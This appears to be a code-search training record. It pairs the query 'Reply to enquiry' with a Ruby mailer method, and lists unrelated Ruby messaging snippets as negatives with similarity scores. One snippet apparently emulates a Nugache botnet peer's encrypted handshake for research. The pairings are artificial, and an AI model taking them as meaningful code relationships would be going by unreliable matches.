=> #<Net::HTTPOK 200 OK readbody=true>\n arr = response.body.scan(/imgurl=([^&,]+)/)\n if arr.length < 1\n respond(msg, cl, \"No results for \" + q)\n elsif\n respond(msg, cl, arr[0][0])\n end\n end\n\n # getting here means the message was a regular comment from a user\n regular_user_chatroom_message(msg, cl, state)\nend",
"def new_sms_updates(content, tonumber)\n\t@client.messages.list.each do |message|\n\tRails.logger.debug(message.body)\n\tend\n end",
"def local_msg(body)\n peer = _pop_token(body)\n return nil if body.length < 1\n key = @connection.comm.rsa_keys[peer]\n raise \"invalid user: #{peer}\" unless key\n _remote_control(peer, :msg, body, true)\nend",
"def process_message_response\n # Is this email confirming receipt of a previous message? \n msg_id = find_message_id_tag(:subject=>@subject, :body=>@body)\n#puts \"**** body=#{@body}, msg_id=#{msg_id}\"\n if msg_id \n # Does the \"confirmed message\" id actually match a message?\n message = Message.find_by_id(msg_id)\n if message\n msg_tag = message_id_tag(:id => msg_id, :action => :confirm_tag) # e.g. !2104\n search_target = Regexp.new('[\\'\\s\\(\\[]*' + \"#{Regexp.escape(msg_tag)}\" + '[\\'\\s\\.,\\)\\]]*')\n # The main reason to strip out the tag (like !2104) from the message is that it may be the\n # first part of the response, if there is one; e.g. \"!2104 Kafanchan\" replying to a message\n # requesting location. \n user_reply = first_nonblank_line(@body)\n#puts \"**** user_reply='#{user_reply}'\"\n user_reply = user_reply.sub(search_target, ' ').strip if user_reply\n # Mark all members with this email address as having responded to this message\n @possible_senders.each do |a_member|\n message.process_response(:member => a_member, :text => user_reply, :mode => 'email')\n end\n else\n msg_tag = message_id_tag(:id => msg_id, :action => :create, :location => :body)\n Notifier.send_generic(@from_address, I18n.t('error_msg.invalid_confirmation')).deliver\n end\n end\n end",
"def new_messages\r\n self.unread_messages\r\n end",
"def new_messages\r\n self.unread_messages\r\n end",
"def on_message(m)\n end",
"def msg(message)\n end",
"def acked?; all_status?(:ack); end",
"def receive_replies(connection); end",
"def start_messages\n Server.log.info(\"* Worker count: #{@configs.count}\")\n end",
"def listener message\n p message\n case message.downcase\n # add own messages\n when \"start\"\n puts 'Starting'\n when \"end\"\n puts 'Ending'\n stop\n exit 0\n else\n puts \"unknown message:#{message}\"\n end\n publish \"ack\"\n end",
"def msg_sent?\n true\n end",
"def messages\n @messages ||= []\n end",
"def m4_message\n [\n \"Tak for din interesse for at være **{{jobnavn}}** på Spejdernes Lejr 2017.\",\n \"\\n\\nVi har sendt dine kontaktoplysninger videre til {{kontaktperson}}, som er kontaktperson for denne opgave. Hvis du ikke hører fra {{kontaktperson}}, eller hvis jobbet ikke passede til dig alligevel, så er du velkommen til at kontakte os på job@sl2017.dk, så hjælper vi dig med at finde et andet fantastisk lejrjob!\",\n \"\\n\\n_De fedeste Spejdernes Lejr 2017 hilsener_ \\n\",\n \"{{bruger}}, Jobcenteret SL2017\"\n ].join()\n end",
"def master_memorial_params\n params.require(:master_memorial).permit(:name, :age, :message)\n end",
"def computer_message\n computer_msg.text\n end",
"def computer_message\n computer_msg.text\n end",
"def response_news_msg(recvmsg, posts)\n msgHeader = NEWS_MSG_HEADER_TPL % [recvmsg['FromUserName'], recvmsg['ToUserName'],\n Time.now.to_i.to_s, posts.size]\n msg = ''\n msg += msgHeader\n msg += make_articles(posts)\n msg += NEWS_MSG_TAIL\n end",
"def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend",
"def messages\n message_div.text\n end",
"def messages\n message_div.text\n end",
"def messages\n message_div.text\n end",
"def messages\n message_div.text\n end",
"def show_messages(uids)\n return if uids.nil? or (Array === uids and uids.empty?)\n\n fetch_data = 'BODY.PEEK[HEADER.FIELDS (DATE SUBJECT MESSAGE-ID)]'\n messages = imap.fetch uids, fetch_data\n fetch_data.sub! '.PEEK', '' # stripped by server\n\n messages.each do |res|\n puts res.attr[fetch_data].delete(\"\\r\")\n end\n end",
"def verdict_message\n verdict ? verdict.message : 'Queued'\n end",
"def generate_messages(mfhd_status)\n\n messages = []\n mfhd_status.each do |item_id, item|\n messages << generate_message(item)\n end\n messages\n\n end",
"def new_messages\n kafka_client.fetch.tap do |messages|\n log_message_stats(messages)\n end\n rescue Poseidon::Errors::UnknownTopicOrPartition\n log \"Unknown Topic: #{topic}. Trying again in 1 second.\", :warn\n sleep(1)\n return [] if stopping?\n retry\n rescue Poseidon::Connection::ConnectionFailedError\n log \"Can not connect to Kafka at #{host}:#{port}. Trying again in 1 second.\", :warn\n sleep(1)\n return [] if stopping?\n retry\n end",
"def master\n\t\t# TODO: Convert to player object\n\t\t@db.hget('sgt-job:'+@id, 'master')\n\tend",
"def received\n end",
"def all_messages\r\n self.users_messaged + self.users_messaged_by\r\n end",
"def all_messages\r\n self.users_messaged + self.users_messaged_by\r\n end",
"def update_message(data); end",
"def update_message(data); end",
"def populate_topic(lst)\n # puts \"list is #{lst}\"\n arg_hash = {:host => 'localhost'}\n # self.sms_sender=SmscManager::SmsSendTopic.new(arg_hash) \n lst.each {|key, val| \n # txt=line[1] ||\n # if value set then send it else send default text value \n txt2 = val==nil ? self.text : val\n dst = key\n # puts \"text is #{txt2} dest is #{dst}\"\n send_it(txt2,dst) if SmscManager::Sms.check_destination(dst)\n \n # puts \" dst is #{dst}\" \n }\n \n sleep(2) # should we wait till we get receipts for all?\n puts \"populate topic sent #{self.sent}\"\n sleep(self.attempts*0.5+1) if self.sent!=self.attempts\n puts \"populate topic sent after sleep #{self.sent}\"\n #self.sms_sender.disconnect_stomp\n end",
"def master!\n @master = true\n end",
"def leader?\n\n\t\t# The way leadership works is that we record the members that were present when we joined the group in @leader_pool. Each time a node leaves the group, we remove them from @leader_pool. Once we become the only member in @leader_pool, we are the leader.\n\t\t# Now in the event that the cluster splits, this becomes complicated. Each side will see the members of the other side leaving. So each side will end up with their own leader. Since they can't talk to eachother, having a leader in each group is perfectly fine. However when the 2 sides re-join, each side will see the members of the other side joining as new nodes, and both leaders will remain as leaders.\n\t\t# We solve this by using the quorum status. When we go from inquorate to quorate, we give up our position. We send a 'leader reset' command to the cluster which tells everyone to remove us from their @leader_pool. When we receive the message ourself, we set @leader_pool to the group members at that moment.\n\t\t# It doesn't matter if multiple members end up doing a 'leader reset' at the same time. It basically simulates the node leaving and then joining. Whoever performs the action first will move to the front. It will capture @leader_pool as the current members when it receives it's own message, and as the other resets come in, it will remove those members. Leaving itself in front of the ones that just joined (and reset after). But it will still remain after all the members that didn't do a reset.\n\n\t\tposition = nil\n\t\tloop do\n\t\t\tposition = leader_position\n\t\t\tbreak if position != -1\n\t\t\tThread.pass # let the dispatch thread run so we can get our join message\n\t\t\t# This isn't ideal as if the dispatch thread doesn't immediatly complete the join, we start spinning.\n\t\t\t# But the only other way is to use condition variables, which combined with Sync_m, would just be really messy and stupidly complex (and I don't want to go to a plain mutex and lose the ability to use shared locks).\n\t\tend\n\t\tposition == 0\n\tend",
"def message\n call_once\n @message\n end",
"def set_election_event_master\n @election_event_master = ElectionEventMaster.find(params[:id])\n end",
"def testExactMatchWithAll\n initTestCase do\n $Context[:SlaveActions] = [\n [ Tools::All, 'DummyAction', [] ]\n ]\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWithDummySenderFilterDummyTool',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true\n ) do |iError|\n assert_equal( [\n [ 'sendMessage', [ 'DummyUser', {\n Tools::All => {\n 'DummyAction' => [\n []\n ]\n }\n } ]\n ]\n ],\n $Variables[:DummySenderCalls]\n )\n assert_equal([], getSlaveClientQueue)\n end\n end\n end",
"def ezm_subject_and_status(message)\r\n if message.receiver_deleted?\r\n message.subject + \" (Deleted)\" \r\n elsif message.read_at.nil?\r\n message.subject + \" (Unread)\" \r\n else \r\n message.subject\r\n end\r\n end",
"def send_message(vmname, key, message)\r\n current = {:errormsg => \"\", :status => \"\", :time => \"\", :vmstatus => \"\"}\r\n\t\t\t\t\t\t \r\n conn_opts=get_cli_connection\r\n Chef::Log.debug(\"#{conn_opts[:host]}...sendvmmessage vm name=#{vmname},#{key},#{message}\")\r\n Net::SSH.start( conn_opts[:host], conn_opts[:user], :password => conn_opts[:password], :port => conn_opts[:port] ) do|ssh|\r\n output = ssh.exec!(\"sendvmmessage vm name=#{vmname} key=#{key} message=#{message} log=no\")\r\n output.each_line do |line|\r\n if line.match(/Status:/)\r\n current[:status]=line.split[1].strip\r\n elsif line.match(/Time:/)\r\n line[\"Time: \"]=\"\"\r\n current[:time]=line.strip\r\n elsif line.match(/Error Msg:/)\r\n line[\"Error Msg: \"]=\"\"\r\n current[:errormsg]=line.strip\r\n end\r\n end\r\n end\r\n return current\r\n end",
"def sync_messages\n Mail.connection do |imap|\n imap.select 'INBOX'\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n if Message.validity.eql? validity_id\n uids = imap.uid_search([\"NOT\", \"DELETED\"]).sort\n local_uids = Message.ids\n if uids != local_uids\n Sidekiq::Logging.logger.info \"*** Syncing Some ***\"\n new_ids = uids - local_uids\n deleted_ids = local_uids - uids\n unless new_ids.blank?\n fetchdata = imap.uid_fetch(new_ids, ['RFC822'])\n fetchdata.each do |rec|\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n msg = Message.new(uid: rec.attr['UID'], validity_id: validity_id, raw_message: rec.attr['RFC822'])\n msg.save\n end\n end\n self.sync_deleted(deleted_ids.map{|id| [validity_id,id].join ':'}) unless deleted_ids.blank?\n end\n else\n self.sync_all\n end\n Message.ids\n end\n end",
"def parse_messages(msg)\n case @mode\n when :initialize\n # ignore everything until negotiation done\n when :name\n publish(\"[clearline]\") if vtsupport?\n @login_name = msg.proper_name\n if options['guest_accounts'] && @login_name =~ /Guest/i\n self.name = \"Guest#{id}\"\n @character = new_char\n put_object(self)\n world.all_accounts << id\n # make the account non-swappable so we dont lose connection\n Engine.instance.db.makenoswap(id)\n @conn.set(:color, color)\n welcome\n @mode = :playing\n elsif @login_name.empty?\n sendmsg(append_echo(\"login> \"))\n @mode = :name\n else\n acctid = world.all_accounts.find {|a|\n @login_name == get_object(a).name\n }\n @account = get_object(acctid)\n sendmsg(append_echo(\"password> \"))\n @conn.set(:hide, true)\n @mode = :password\n end\n when :password\n @login_passwd = msg\n @conn.set(:hide, false)\n if @account.nil? # new account\n sendmsg(append_echo(\"Create new user?\\n'Y/y' to create, Hit enter to retry login> \"))\n @mode = :newacct\n else\n if @login_passwd.is_passwd?(@account.passwd) # good login\n # deregister all observers here and on connection\n unsubscribe_all\n @conn.unsubscribe_all\n # reregister all observers to @account\n @conn.subscribe(@account.id)\n # make the account non-swappable so we dont lose connection\n Engine.instance.db.makenoswap(@account.id)\n @conn.set(:color, @account.color)\n switch_acct(@account)\n # Check if this account already logged in\n reconnect = false\n if @account.subscriber_count > 0\n @account.publish(:reconnecting)\n @account.unsubscribe_all\n reconnect = true\n end\n @account.subscribe(@conn)\n if options['account_system']\n @account.sendmsg(append_echo(login_menu))\n @account.mode = :menu\n else\n @character = get_object(@account.characters.first)\n # make the character non-swappable so we dont lose references\n Engine.instance.db.makenoswap(@character.id)\n world.connected_characters << @character.id\n @character.account = @account\n @account.character = @character\n welcome(reconnect)\n @account.mode = :playing\n end\n else # bad login\n @checked -= 1\n sendmsg(append_echo(\"Sorry wrong password.\"))\n if @checked < 1\n disconnect\n else\n @mode = :name\n sendmsg(append_echo(\"login> \"))\n end\n end\n end\n when :newacct\n if msg =~ /^y/i\n self.name = @login_name\n self.passwd = @login_passwd.encrypt\n put_object(self)\n # make the account non-swappable so we dont lose connection\n Engine.instance.db.makenoswap(id)\n world.all_accounts << id\n @conn.set(:color, color)\n if options['account_system']\n sendmsg(append_echo(login_menu))\n @mode = :menu\n else\n @character = new_char\n welcome\n @mode = :playing\n end\n else\n @mode = :name\n sendmsg(append_echo(\"login> \"))\n end\n when :menu, :menucr, :menupl\n parse_menu(msg)\n when :playing\n @character.parse(msg)\n else\n log.error \"Account#parse_messages unknown :mode - #{@mode.inspect}\"\n end\n end",
"def testSeveralSlaveClients\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool', 'DummyAction', [] ]\n ]\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal([], getSlaveClientQueue)\n end\n end\n end",
"def get_messages()\n @@log.debug(\"get_messages starts\")\n subscribe\n StompHelper::pause(\"After subscribe\") if $DEBUG\n for msgnum in (0..@max_msgs-1) do\n message = @conn.receive\n @@log.debug(\"Received: #{message}\")\n if @ack == \"client\"\n @@log.debug(\"in receive, sending ACK, headers: #{message.headers.inspect}\")\n message_id = message.headers[\"message-id\"]\n @@log.debug(\"in receive, sending ACK, message-id: #{message_id}\")\n @conn.ack(message_id) # ACK this message\n end\n StompHelper::pause(\"After first receive\") if (msgnum == 0 and $DEBUG)\n #\n received = message\n end\n end"
] |
[
"0.640789",
"0.5611028",
"0.5611028",
"0.55595225",
"0.5550524",
"0.5536341",
"0.55021524",
"0.55009073",
"0.54608387",
"0.5429329",
"0.5360532",
"0.5326926",
"0.5307757",
"0.5307757",
"0.52955383",
"0.5270941",
"0.5233649",
"0.5233649",
"0.5233649",
"0.52305675",
"0.5151914",
"0.51307356",
"0.512887",
"0.512887",
"0.511934",
"0.5100284",
"0.5083825",
"0.50829804",
"0.50677615",
"0.50530696",
"0.50499004",
"0.5040649",
"0.50213724",
"0.50191563",
"0.50156605",
"0.50041485",
"0.49946874",
"0.49913612",
"0.49892804",
"0.49790218",
"0.49660435",
"0.49610502",
"0.4960509",
"0.49549636",
"0.49450815",
"0.49436253",
"0.49292022",
"0.49235472",
"0.49209663",
"0.4919015",
"0.4911133",
"0.49081287",
"0.49058908",
"0.49038008",
"0.48983884",
"0.48848206",
"0.488193",
"0.48807916",
"0.48804423",
"0.48804423",
"0.48753184",
"0.48695794",
"0.48657936",
"0.4865718",
"0.4864933",
"0.48628363",
"0.48528233",
"0.4849933",
"0.4849694",
"0.48473147",
"0.4842989",
"0.4842989",
"0.48426265",
"0.48415697",
"0.48380893",
"0.48380893",
"0.48380893",
"0.48380893",
"0.48372576",
"0.48237523",
"0.4823501",
"0.48219788",
"0.4814308",
"0.48134565",
"0.4812665",
"0.4812665",
"0.48057488",
"0.48057488",
"0.48051837",
"0.4802745",
"0.48008183",
"0.48004165",
"0.47901988",
"0.47896796",
"0.47877666",
"0.47850975",
"0.47839528",
"0.47821245",
"0.47816035",
"0.47786114"
] |
0.5457552
|
9
|
Reply to enquiry. Sent by the master if its key is greater than the enquirer's
|
def send_enquiry_reply(enquirer)
send_message(:election_enquiry_reply, nil, enquirer)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_enquiry()\n # Send election enquiry message. The master will reply if its node_id is greater than this node's\n send_message(:election_enquiry)\n # Wait for the master's response for a few seconds\n @master_response_timeout = EM::Timer.new(5) do\n # No response, asume we are the master\n Logger.info log_message(\"No response from the master, claiming to be the master.\")\n become_master\n end\n end",
"def hi_enquiry(*args)\n self.update_attribute(:bot_response, hi_response)\n return false\n end",
"def enquiry(enquiry)\n @enquiry = enquiry\n\n mail :to => Rails.configuration.enq_to_address, :subject => \"B&B availability request for Bull Farm Oast\", :bcc => Rails.configuration.enq_bcc_address, :reply_to => enquiry.email \n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def ask_answer\n @sender_detail = SenderDetail.where(:unique_key => params[:link]).first\n if @sender_detail.nil?\n flash[:notice] = \"Invalid Token\"\n redirect_to sorry_path\n else\n @sender = EmailSender.find(@sender_detail.user_id).email\n \n @email = Email.find(@sender_detail.email_id)\n @listener = EmailSender.find(@email.listener_id)\n @question = @email.question\n end\n end",
"def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end",
"def self_intro_enquiry(*args)\n self.update_attribute(:bot_response, \"I'm Brian.\")\n return false\n end",
"def enq\n end",
"def enq\n end",
"def acknowledge\n verify? params, KEY\n end",
"def acknowledge\n verify? params, KEY\n end",
"def response(enquiry)\n @greeting = \"Hi\"\n @enquiry = enquiry\n mail(to:@enquiry.email, subject:\"Thankyou for your enquiry\")\n end",
"def accepted(target, question)\n @question = question\n\n mail to: target.email, subject: \"Your answer has been accepted!\"\n end",
"def query_ask\n # NOTE: This trailing space at the end of the String obliquely instructs\n # Highline to keep the prompt on the same line as the question. If the\n # String did not end with a space or tab, Highline would move the input\n # prompt to the next line (which, for our purposes, looks confusing)\n value = ask( \"<%= color('#{@key}', WHITE, BOLD) %>: \",\n highline_question_type ) do |q|\n q.default = default_value unless default_value.to_s.empty?\n\n # validate input via the validate() method\n q.validate = lambda{ |x| validate( x )}\n\n # if the answer is not valid, construct a reply:\n q.responses[:not_valid] = \"<%= color( %q{Invalid answer!}, RED ) %>\\n\"\n q.responses[:not_valid] += \"<%= color( %q{#{ (not_valid_message || description) }}, YELLOW) %>\\n\"\n q.responses[:not_valid] += \"#{q.question} |#{q.default}|\"\n\n query_extras q\n end\n value\n end",
"def short_answer(answer)\n frm.text_field(:name=>/deliverShortAnswer/).value=answer\n end",
"def ep_notify(form_answer_id, collaborator_id)\n @form_answer = FormAnswer.find(form_answer_id).decorate\n @user = @form_answer.user.decorate\n collaborator = User.find(collaborator_id)\n\n @current_year = @form_answer.award_year.year\n @subject = \"King's Awards for Enterprise Promotion: Thank you for your nomination\"\n\n send_mail_if_not_bounces ENV['GOV_UK_NOTIFY_API_TEMPLATE_ID'], to: collaborator.email, subject: subject_with_env_prefix(@subject)\n end",
"def ask\n\t\tbegin\n\t\t\tputs self\n\t\t\tprint \"Su respuesta: \" \n\t\t\tanswerno = gets.to_i - 1\n\t\tend while (answerno < 0 or answerno >= @answers.length)\n\t\t#Comprobamos si es correcta la respuesta\n\t\t@answers[answerno].is_right? \n\tend",
"def answer_on_next_prompt answer\r\n command 'answerOnNextPrompt', answer\r\n end",
"def answer_on_next_prompt answer\r\n command 'answerOnNextPrompt', answer\r\n end",
"def chose_correct_answer\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/questions/#{@answer.question.id}\")\n subject = \"[bootcamp] #{@answer.receiver.login_name}さんの質問【 #{@answer.question.title} 】で#{@answer.sender.login_name}さんの回答がベストアンサーに選ばれました。\"\n mail to: @user.email, subject: subject\n end",
"def send_enquiry\r\n EnquiryMailer.submit_enquiry(self).deliver_now \r\n end",
"def reply\n body_arr = params[:Body].split(' ')\n method = body_arr[0]\n if method.upcase == 'REGISTER'\n p \"Registering User #{body_arr[1]} from #{params[:From]}\"\n User.register(params[:From], body_arr[1])\n send_sms(params[:From], \"User registered. Hello #{body_arr[1]}!\")\n Thread.new(params[:From], &method(:send_question))\n head 201 && return # Response is given to Twilio server for possible future use. \n elsif User.get(params[:From], 'name').nil?\n p 'User does not exist!'\n\n send_sms(params[:From], \"Please register with the form 'REGISTER <name>'.\")\n head 404 && return\n else \n # process answer\n answer = method\n p \"Processing answer #{answer}\"\n #TODO-v1: critical section to prevent user from keeping hitting the endpoint \n if answer == Question.get(User.get(params[:From], 'curr_ques_id'), 'answer')\n prev_count = User.get(params[:From], 'count')\n User.update(params[:From], 'count', prev_count.to_i + 1)\n if User.get(params[:From], 'count') == '5' #TODO: dynamic number\n send_sms(params[:From], 'Congratulations, you hit 5 question! Reward is sent. Answered question is cleared to 0')\n User.update(params[:From], 'count', 0) \n else\n send_sms(params[:From], \"Answer recorded.\\nYou have answered #{User.get(params[:From], 'count')} questions correctly.\")\n end\n else \n send_sms(params[:From], \"Wrong answer.\\nDon't be upset. You still have answered #{User.get(params[:From], 'count')} questions correctly.\")\n end\n User.update(params[:From], 'curr_ques_id', '-1') # So that user cannot answer the same question again and again! Fixed the repeat msg problem \n Thread.new(params[:From], &method(:send_question))\n head 204 && return\n end\n end",
"def read_delivery_method_prompt(reply)\n reply\n .is('A') { respondable.delivery_method = :SMS }\n .is('B') { respondable.delivery_method = :email }\n .is('C') { respondable.delivery_method = :mail }\n .is('D') { respondable.delivery_method = :local_pickup }\n end",
"def ask(question, context, to, jid_user)\n puts \"Bot: #{question}\"\n @questions[to]=context\n end",
"def next_q(nick = @config[:nick])\n self.say \"\\0032Correct\\0033 #{nick}.\\0032 The answer was:\\0034 #{@questions[@trivia[:cur_quest]][:answer]}\"\n if @questions.length > (@trivia[:number] + 1)\n @trivia[:cur_quest] = (rand @questions.length)\n self.ask_question(@trivia[:cur_quest])\n else\n self.trivia_end\n end\n end",
"def mechanic_quest; end",
"def ASK question\n while true\n puts question\n reply = gets.chomp.downcase\n if reply == \"yes\"\n return true\n end\n if reply == \"no\"\n return false\n end\n puts \"Please answer yes or no !\"\n end\nend",
"def send_quick_answers(recipient:, message:, quick_answers:)\n\t\tquickreplies = []\n\t\tquick_answers.each{|msg| quickreplies << msg}\n\t\tchat_id = recipient['id']\n\n\t\tanswers = Telegram::Bot::Types::ReplyKeyboardMarkup.new(keyboard: quickreplies, one_time_keyboard: true)\n\t\t@bot.send_message(chat_id: chat_id, text: message, reply_markup: answers)\n\tend",
"def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end",
"def reply\n end",
"def skier_quest; end",
"def answer_keys\n [key]\n end",
"def qantas_letter(supporter)\n subject \"Qantas, can you help save the forests and use only recycled toilet paper \"\n recipients \"someone@qantas.com.au\"\n from supporter.email\n sent_on Time.now\n content_type \"text/html\"\n\n body :supporter => supporter\n end",
"def forge\n message.set_response(::Item.forge(command_string.subject, message.sender))\n end",
"def send_confirmation\n reply 'confirmation'\n end",
"def coach_answer(your_message)\n # TODO: return coach answer to your_message\n if your_message[-1] == \"?\" then puts \"Silly question, get dressed and go to work !\"\n else puts \"I don't care son, get dressed and go to work !\"\n end\nend",
"def make_enq_data\r\n tmp = \"Enquiry:<BR>\"\r\n tmp += \"Client Name: \" + @e.client_name + \"<BR>\" if @e.client_name\r\n tmp += \"Client Email: \" + @e.client_email + \"<BR>\" if @e.client_email\r\n tmp += \"Client Phone: \" + @e.client_phone + \"<BR>\" if @e.client_phone\r\n tmp += \"Agent: \" + @e.agent + \"<BR>\" if @e.agent\r\n tmp += \"Aref: \" + @e.aref + \"<BR>\" if @e.aref\r\n tmp += \"Price: \" + @e.price + \"<BR>\" if @e.price\r\n tmp += \"Region: \" + @e.region + \"<BR>\" if @e.region\r\n tmp += \"Department: \" + @e.department + \"<BR>\" if @e.department\r\n tmp += \"Information Requested: \" + @e.info_req + \"<BR>\" if @e.info_req\r\n tmp += \"Viewing Info: \" + @e.viewing_info + \"<BR>\" if @e.viewing_info\r\n \r\n tmp\r\n end",
"def prapor_quest; end",
"def new_order_notice(enquiry)\n @enquiry = enquiry\n @customer = @enquiry.customer\n mail(subject: \"[team] New Order #{@enquiry.id}\")\n end",
"def ask\n if @help_request.valid?\n MyousicaMailer.deliver_help_request(@help_request)\n flash[:notice] = \"Thanks for contacting us! Your question has been sent to our help desk, you'll receive a reply in few hours.\"\n else\n flash[:error] = \"Your help request could not be sent. Please correct the errors and try again!\"\n end \n\n params[:return_to] ? redirect_to(:action => 'show', :id => params[:return_to]) : redirect_to(:action => 'index')\n end",
"def new_question(question, recepient)\n if recepient.privacy_setting.notify_on_new_question \n @question, @recepient = question, recepient\n mail(\n :subject => \"#{@question.user.name} just asked a new question.\",\n :from => \"noreply@studyhall.com\",\n :to => recepient.email,\n :date => Time.now\n )\n end\n end",
"def notify_question_owner(answer)\n \t@answer = answer\n \t@question = answer.question\n \t@receiver = @question.user\n \tmail(to: @receiver.email,\n \t\t\t subject: \"You've got a new answer!\")\n end",
"def player_response\n\n if compare_answer\n return puts \"#{@current_asker.name}: YES! You are correct.\"\n end\n\n puts \"#{@current_asker.name}: Seriously? No!\"\n\n end",
"def inform_user_of_answer_mail(signature, answer)\n @signature = signature\n @petition = @signature.petition\n @answer = answer\n @unique_key = url_for(\n controller: 'signatures',\n action: 'confirm',\n signature_id: @signature.unique_key)\n\n subject = t('mail.petition.has_answer_subject', petition: @petition.name)\n\n mail(to: signature.person_email, subject: subject)\n end",
"def answer_accepted\n UserMailer.answer_accepted Answer.last\n end",
"def create_reply\n msg = self.dup\n msg.performative = \"agree\"\n msg.receiver = msg.sender\n msg.sender = aid\n msg.in_reply_to = msg.reply_with\n msg\n end",
"def partner_help_notice(partner_help_id)\n ActsAsTenant.current_tenant = nil\n @partner_help = PartnerHelp.find(partner_help_id)\n mail(subject: 'YesTrak Partner Help Form', to: @partner_help.email, bcc: \"#{APP_CONFIG['admin_emails']}\")\n end",
"def respond(response, reply_queue, correlation_id)\n exchange.publish(encode_payload(response),\n routing_key: reply_queue,\n correlation_id: correlation_id,\n mandatory: true)\n\n channel.wait_for_confirms\n end",
"def ask\n @poll_centre = PollCentre.find(@question.poll_centre_id)\n if @poll_centre.has_current_question?\n #then error\n output_error = {\"error\" => \"There is a question currently in progress. Please wait for it to finish\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n elsif @question.is_asked?\n output_error = {\"error\" => \"Question already asked\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n else\n @question.started = true\n if @question.save\n channel_name = @poll_centre.title\n Pusher[\"#{channel_name}\"].trigger('question-start', {\n question_text: @question.text,\n option_a: @question.option_a,\n option_b: @question.option_b,\n option_c: @question.option_c,\n option_d: @question.option_d,\n question_id: @question.id\n })\n respond_to do |format|\n format.json { render json: @question, status: :ok }\n end\n else\n output_error = {\"error\" => \"Couldn't ask question. Please try again.\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n end\n end\n end",
"def ask_question(num = @trivia[:cur_quest])\n self.say \"\\0036 #{@questions[num][:question]}\"\n STDOUT.puts \"\\n :#{@questions[@trivia[:cur_quest]][:answer]}: \\n\"\n end",
"def acknowledge(authcode = nil)\n return false if security_key.blank?\n if ins_message?\n Digest::MD5.hexdigest(\"#{ transaction_id }#{ params['vendor_id'] }#{ invoice_id }#{ secret }\").upcase == security_key.upcase\n elsif passback?\n order_number = params['demo'] == 'Y' ? 1 : params['order_number']\n Digest::MD5.hexdigest(\"#{ secret }#{ params['sid'] }#{ order_number }#{ gross }\").upcase == params['key'].upcase\n else\n false\n end\n end",
"def inquiry(inquiry, options = {})\n get(\"inquiries/#{inquiry}\", options).pop\n end",
"def confirm_newkeys; end",
"def ask(msg)\n request(\"#{msg} [yn] \") == 'y'\n end",
"def suggestion sender, resource, user\n \n puts \"estamos aqui\"\n @resource = resource\n @sender = sender\n @user = user\n \n mail(to: user.email, subject: 'Te recomiendan este libro')\n return\n \n end",
"def show\n @decrypted = @autocrypt.decrypt(@email)\n @reply_params = {\n to: @email.from,\n subject: 'Re: ' + @email.subject,\n body: (@decrypted || @email.body).gsub(/^/, '> ')\n }\n end",
